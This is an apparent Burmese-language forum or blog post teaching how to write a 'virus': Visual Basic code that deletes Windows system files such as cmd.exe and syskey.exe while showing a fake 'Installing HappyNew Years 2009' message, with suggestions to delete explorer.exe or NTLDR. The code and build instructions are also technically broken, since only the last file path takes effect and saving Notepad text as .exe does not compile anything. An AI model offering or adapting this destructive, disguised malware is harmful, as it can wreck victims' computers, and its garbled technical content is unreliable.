viousေရးသားျခင္း

 အရင္ဆံုး ဒီကုတ္ေလးေတြကို notepad နားမွာေရးလိုက္ပါ ပီးရင္ File >> Save As >> ပီးေတာ့ File Name ေနရာမွာ .exe ဆိုပီးေတာ့ Save လိုက္ဖိုင္ေလးတစ္ခုက်လာလိမ့္မယ္ အဲ့ဒါက vious ပဲေနာ္ စမ္းျခင္ရင္ေတာ့ရတယ္ေနာ္ တစ္ခုခုျဖစ္ရင္ေတာ့ သားသားမပါဘူးေနာ္

Private Sub Command1_Click() Dim targetfile As String targetfile="C:\WINDOWS\system32\rcimlby.exe" targetfile="C:\WINDOWS\system32\BootSafe.exe" targetfile="C:\WINDOWS\system32\notepad.exe" targetfile="C:\WINDOWS\system32\syskey.exe" targetfile="C:\WINDOWS\system32\cmd.exe" targetfile="C:\WINDOWS\system32\regedt32.exe" targetfile="C:\WINDOWS\system32\dfrg.msc" targetfile="C:\WINDOWS\system32\write.exe" targetfile="C:\WINDOWS\system32\lusrmgr.msc" targetfile="C:\WINDOWS\system32\ntbackup.exe" Kill targetfile Label1.Caption="Installing HappyNew Years 2009......Please wait" Timer1.Enabled=True End Sub Private Sub Timer1_Timer() Label2.Caption="Installing Finish" End Sub Private Sub Form_Activate() Timer1.Enabled=False ဒီေကာင္ဘယ္လိုအလုပ္တာလဲဆိုရင္ targetfile ဆိုတာ သတ္မွတ္ခ်က္ေပါ့ေနာ္ (ဥပမာ-ေကာင္မေလးတစ္ေယာက္ ကိုယ္ၾကိဳက္တဲ့ေကာင္မေလးတစ္ေယာက္ အဲဒါTargetပဲ) rcimlby.exe တို႔ ဘာတို႔က ကိုယ္ဖ်က္မဲ့ ဖိုင္ေတြပါ အဲဒိေနရာမွာ ၀င္းဒိုးရဲ့အေရးၾကီးတဲ့ဖိုင္ေတြ ထည့္လဲရတာေပါ့ေနာ္ explorer.exe တို႔ဘာတို႔ Happy Birthday လို NTLDR ကိုဖ်က္လဲရတာပဲ Label1.Caption က program အလုပ္လုပ္တယ္ဆိုတဲ့ ေၾကာင္းေဖၚျပတာပါ "Installing HappyNew Years 2009......Please wait" အဲဒါက screen saver လိုလို ဘာလိုလို ဟန္ျပေရးထားတာပါ ဆရာမဟုတ္ေတာ့ ေသခ်ာမရွင္းတတ္ဘူးဗ် (Warrnig-အေပ်ာ္ေရးျပီးဖ်က္ဆီးရန္သင္ေပး၏ျခင္းမဟုတ္ပါ Evilအသိပညာတစ္ခုအေနနဲ႔ တတ္သင့္တယ္ထင္လို႔ ေျပာျပတာပါ)  
သူရိန္